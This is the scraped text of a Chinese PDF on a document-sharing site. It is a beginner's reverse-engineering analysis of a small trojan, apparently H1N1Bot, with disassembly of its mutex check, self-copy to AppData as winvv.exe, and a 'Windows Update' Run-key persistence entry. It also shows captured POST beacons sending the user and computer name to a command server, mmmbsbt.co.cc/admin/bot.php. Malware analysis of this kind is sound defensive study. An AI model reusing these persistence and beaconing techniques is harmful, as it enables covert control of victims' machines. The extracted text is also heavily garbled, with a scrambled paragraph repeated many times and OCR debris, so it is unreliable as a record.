木马分析计算机网络信息安全_计算机-网络信息安全.pdf

上传人:c****4 文档编号:95761745 上传时间:2023-08-30 格式:PDF 页数:9 大小:398.36KB
返回 下载 相关 举报
木马分析计算机网络信息安全_计算机-网络信息安全.pdf_第1页
第1页 / 共9页
木马分析计算机网络信息安全_计算机-网络信息安全.pdf_第2页
第2页 / 共9页
点击查看更多>>
资源描述

《木马分析计算机网络信息安全_计算机-网络信息安全.pdf》由会员分享,可在线阅读,更多相关《木马分析计算机网络信息安全_计算机-网络信息安全.pdf(9页珍藏版)》请在得力文库 - 分享文档赚钱的网站上搜索。

1、完整版-木马分析 一个木马的分析 第一次详细分析木马,不足之处请见谅。这个木马一共 4KB 是个比较简单的程序,所以分析起来也不是很难。下面开 始正式分析。这是程序的主题函数,一进来就是三个初始化的 call,然后就是一个大的循 环,程序就是在这个循环之中不停的运行着。跟进第一个 call:函数首先创建了一个 hObject 变量用于存放创建的互斥对象句柄。mov ebp+hObject,start proc near eax 就是将创建的互斥句柄传送到 call sub_401481hObject 中。这里是创建了一个名为 call sub_401092 HINIBot 的互斥对象。然后调用

2、 call sub_4011AE loc_4014C4:GetLastError 得到错误码这里加 call sub_4013D5 入程序已经有一份实例在运行了则 call sub_40143F push 0EA60h;这个互斥对象就是创建过了的就是 dwMilliseconds 得到错 误代码为 0B7h 的值。通过查 call Sleep 询 msdn 发现:0b7h 含义是 Cannot jmp short loc_4014C4 start endp create a file when that file already exists.所以这样就防止了木马程序同时打开了多份。当返回值是

3、 0B7h 的时候调用 ExitProcess退出程序。总结来说这个 call 就是检查程序是否 已经打开要是打开过了就退出。进入 401092 的 call,由于这 hObject=dword ptr-4 个函数代码过多,就不贴详细的.text:00401481 代码了。函数定义了两个局部字.text:00401481 push ebp 符串数组 ExistingFileName,.text:00401482 mov ebp,esp String2(这里是 ida 分析给出的名.text:00401484 add esp,0FFFFFFFCh 字)和一个文件指针。函数先将.text:0040

4、1487 push offset Name;这两个数组用零填充,然后调用 H1N1Bot GetModuleFileNameA得到当前.text:0040148C push 0;程序的完整路径,并将结果存放 bInitialOwner 在 Exist in gFileName 中。在调用.text:0040148E push 0;SHGetFolderPathA 并将结果存 lpMutexAttributes 放在 String2 中。.text:00401490 call CreateMutexA SHGetFolderPathA 可以获.text:00401495 mov ebp+hObj

5、ect,eax 取系统文件夹,这里他的参数值.text:00401498 call GetLastError 是 0 x1c。.text:0040149D cmp eax,0B7h Const.text:004014A2 jz short loc_4014A6 CSIDL_LOCAL_APPDATA调用 ExitProcess 退出程序.(用户 本地设置 应用程序数.text:004014A4 leave 据。即如果以 administration 身.text:004014A5 retn 份登录获得的是 C:DocumentsandSettingsAdministratorLocal 路径。

6、然后调用 lstrcatA 这个函数在 String2 的后面加上 winvv.exe。然后比较 String2 和 ExistingFileName 是否相同,不同则把自身复制到 ExistingFileName 中,最后运行复制 起来也不是很难下面开始正式分析这是程序的主题函数一进来就是三个初始化的然后就是一个大的循环程序就是在这个循环之中不停的运行着跟进第一个函数首先创建了一个变量用于存放创建的互斥对象句柄就是将创建的互斥句柄斥对象就是创建过了的就是得到错误代码为的值通过查询发现含义是所以这样就防止了木马程序同时打开了多份当返回值是的时候调用退出程序总结来说这个就是检查程序是否已经打开要

7、是打开过了就退出进入的由于这个函数代码数组用零填充然后调用得到当前程序的完整路径并将结果存放在中在调用并将结果存放在中可以获取系统文件夹这里他的参数值是调用退出程序用户本地设置应用程序数据即如果以份登录获得的是身路径然后调用这个函数在的后面过去的文件,自身退出。总体来讲第二个 call 就是路径检查的。3.进入 4011AE 的 call,这个函数就是实现程序的开机运行,手法也很简单 就是在注册表中创建键值。位置在,键值叫做 Windows Update,其迷惑作用。4(下面我们进入这个木马的核心程序。大循环。4013D5 的 call sub_4013D5 proc near lpStrin

8、g=dword ptr-4 push ebp mov ebp,esp add esp,-4 push 40h;flProtect push 1000h;flAllocationType push 512;dwSize push 0;lpAddress call VirtualAlloc;申请内存 mov ebp+lpString,eax;内存首地址存到局部变量里 mov dword ptr eax,edom add eax,4 mov dword ptr eax,i&2=add eax,4 mov dword ptr eax,tned add eax,4 起来也不是很难下面开始正式分析这是程序

9、的主题函数一进来就是三个初始化的然后就是一个大的循环程序就是在这个循环之中不停的运行着跟进第一个函数首先创建了一个变量用于存放创建的互斥对象句柄就是将创建的互斥句柄斥对象就是创建过了的就是得到错误代码为的值通过查询发现含义是所以这样就防止了木马程序同时打开了多份当返回值是的时候调用退出程序总结来说这个就是检查程序是否已经打开要是打开过了就退出进入的由于这个函数代码数组用零填充然后调用得到当前程序的完整路径并将结果存放在中在调用并将结果存放在中可以获取系统文件夹这里他的参数值是调用退出程序用户本地设置应用程序数据即如果以份登录获得的是身路径然后调用这个函数在的后面mov byte ptr eax

10、,=inc eax;向 buffer 中填充 mode=2&ident=(注意顺序)push eax push eax;lpString call sub_40138B;向 buffer 追加当前系统用户名,并返回用户名长度 mov ecx,eax pop eax add eax,ecx push eax;eax 始终保持指向字符串的末尾 push eax;lpString call sub_4013B0;获取计算机名,并追加到 buffer 中,返回计算机名长度 push ebp+lpString 此时 buffer 内容为 mode=2&ide nt=AdministratorPC-201

11、008252144 push ebp+lpString;lpString call sub_401000 关键 call push 8000h;dwFreeType push 0;dwSize push ebp+lpString;lpAddress call VirtualFree 程序首先构造了一个字符串 mode=XX&ident=XX(XX 表示生成的数据),然后调 用 401000 的函数。这个函数是构造了一个网络请求,并向指定的网站发送 post 请 求。用到的函数有 InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRe

12、questA,InternetReadFile。起来也不是很难下面开始正式分析这是程序的主题函数一进来就是三个初始化的然后就是一个大的循环程序就是在这个循环之中不停的运行着跟进第一个函数首先创建了一个变量用于存放创建的互斥对象句柄就是将创建的互斥句柄斥对象就是创建过了的就是得到错误代码为的值通过查询发现含义是所以这样就防止了木马程序同时打开了多份当返回值是的时候调用退出程序总结来说这个就是检查程序是否已经打开要是打开过了就退出进入的由于这个函数代码数组用零填充然后调用得到当前程序的完整路径并将结果存放在中在调用并将结果存放在中可以获取系统文件夹这里他的参数值是调用退出程序用户本地设置应用程序数

13、据即如果以份登录获得的是身路径然后调用这个函数在的后面用抓包软件可以分析出我电脑上 post 的数据.POST/admin/bot.php HTTP/1.1 Content-Type:application/x-www-form-urlencoded User-Agent:myAgent Host:mmmbsbt.co.cc Content-Length:26 Cache-Control:no-cache mode=2&ident=studentCSE029(studentCSE029 为我电脑上的用户名)此时对 方并未返回数据,可能只是需要向服务器 post 一下数据而已。到此这个大函数的

14、任务完成,于是返回。然后进入 40143F 的函数。sub_40143F proc near lpString=dword ptr-4 push ebp mov ebp,esp add esp,0FFFFFFFCh push 40h;flProtect push 1000h;flAllocationType push 200h;dwSize push 0;lpAddress call VirtualAlloc 申请缓冲区 mov ebp+lpString,eax push ebp+lpString;int push offset String;mode=1 call sub_401000 调用

15、 post 数据的函数 起来也不是很难下面开始正式分析这是程序的主题函数一进来就是三个初始化的然后就是一个大的循环程序就是在这个循环之中不停的运行着跟进第一个函数首先创建了一个变量用于存放创建的互斥对象句柄就是将创建的互斥句柄斥对象就是创建过了的就是得到错误代码为的值通过查询发现含义是所以这样就防止了木马程序同时打开了多份当返回值是的时候调用退出程序总结来说这个就是检查程序是否已经打开要是打开过了就退出进入的由于这个函数代码数组用零填充然后调用得到当前程序的完整路径并将结果存放在中在调用并将结果存放在中可以获取系统文件夹这里他的参数值是调用退出程序用户本地设置应用程序数据即如果以份登录获得的是

16、身路径然后调用这个函数在的后面push ebp+lpString;lpString call sub_40134E;处理命令 push 8000h;dwFreeType push 0;dwSize push ebp+lpString;lpAddress call VirtualFree leave retn sub_40143F endp 这个函数也只有两个重点处,调用 0 x401000 处的函数,这个函数刚刚用过,传入两个参数,函数将服务器返回的数据存放在第一个参数中,第二个参数仅仅是 需要 post 的数据。POST/admin/bot.php HTTP/1.1 Content-Type

17、:application/x-www-form-urlencoded User-Agent:myAgent Host:mmmbsbt.co.cc Content-Length:6 Cache-Control:no-cache mode=1 这是 post 的数据,mode 参数变成了 1,但是服务器什么也没返回。所以返回 数据只能之际分析程序了。面我们进入处理服务器返回数据的函数 0 x40134E。起来也不是很难下面开始正式分析这是程序的主题函数一进来就是三个初始化的然后就是一个大的循环程序就是在这个循环之中不停的运行着跟进第一个函数首先创建了一个变量用于存放创建的互斥对象句柄就是将创建的互

18、斥句柄斥对象就是创建过了的就是得到错误代码为的值通过查询发现含义是所以这样就防止了木马程序同时打开了多份当返回值是的时候调用退出程序总结来说这个就是检查程序是否已经打开要是打开过了就退出进入的由于这个函数代码数组用零填充然后调用得到当前程序的完整路径并将结果存放在中在调用并将结果存放在中可以获取系统文件夹这里他的参数值是调用退出程序用户本地设置应用程序数据即如果以份登录获得的是身路径然后调用这个函数在的后面 L *!r NX iMM 它u二 f*m4v 障 U.L-nOI _a413ftn jiffy|也申:ir.r 起来也不是很难下面开始正式分析这是程序的主题函数一进来就是三个初始化的然后就

19、是一个大的循环程序就是在这个循环之中不停的运行着跟进第一个函数首先创建了一个变量用于存放创建的互斥对象句柄就是将创建的互斥句柄斥对象就是创建过了的就是得到错误代码为的值通过查询发现含义是所以这样就防止了木马程序同时打开了多份当返回值是的时候调用退出程序总结来说这个就是检查程序是否已经打开要是打开过了就退出进入的由于这个函数代码数组用零填充然后调用得到当前程序的完整路径并将结果存放在中在调用并将结果存放在中可以获取系统文件夹这里他的参数值是调用退出程序用户本地设置应用程序数据即如果以份登录获得的是身路径然后调用这个函数在的后面调用 Sleep 函数,程序先挂起 1 分钟,然后再循环。起来也不是很

20、难下面开始正式分析这是程序的主题函数一进来就是三个初始化的然后就是一个大的循环程序就是在这个循环之中不停的运行着跟进第一个函数首先创建了一个变量用于存放创建的互斥对象句柄就是将创建的互斥句柄斥对象就是创建过了的就是得到错误代码为的值通过查询发现含义是所以这样就防止了木马程序同时打开了多份当返回值是的时候调用退出程序总结来说这个就是检查程序是否已经打开要是打开过了就退出进入的由于这个函数代码数组用零填充然后调用得到当前程序的完整路径并将结果存放在中在调用并将结果存放在中可以获取系统文件夹这里他的参数值是调用退出程序用户本地设置应用程序数据即如果以份登录获得的是身路径然后调用这个函数在的后面总体来

21、说这个程序的功能是比较简单的就是到指定的网站上接受相应的命令 在做出相应的处理。只不过在这个杀软看守很严的年代已经没有它的存活空间了 第一次分析木马有些简单了哈哈。起来也不是很难下面开始正式分析这是程序的主题函数一进来就是三个初始化的然后就是一个大的循环程序就是在这个循环之中不停的运行着跟进第一个函数首先创建了一个变量用于存放创建的互斥对象句柄就是将创建的互斥句柄斥对象就是创建过了的就是得到错误代码为的值通过查询发现含义是所以这样就防止了木马程序同时打开了多份当返回值是的时候调用退出程序总结来说这个就是检查程序是否已经打开要是打开过了就退出进入的由于这个函数代码数组用零填充然后调用得到当前程序的完整路径并将结果存放在中在调用并将结果存放在中可以获取系统文件夹这里他的参数值是调用退出程序用户本地设置应用程序数据即如果以份登录获得的是身路径然后调用这个函数在的后面

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 应用文书 > PPT文档

本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知得利文库网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

工信部备案号:黑ICP备15003705号-8 |  经营许可证:黑B2-20190332号 |   黑公网安备:91230400333293403D

© 2020-2023 www.deliwenku.com 得利文库. All Rights Reserved 黑龙江转换宝科技有限公司 

黑龙江省互联网违法和不良信息举报
举报电话:0468-3380021 邮箱:hgswwxb@163.com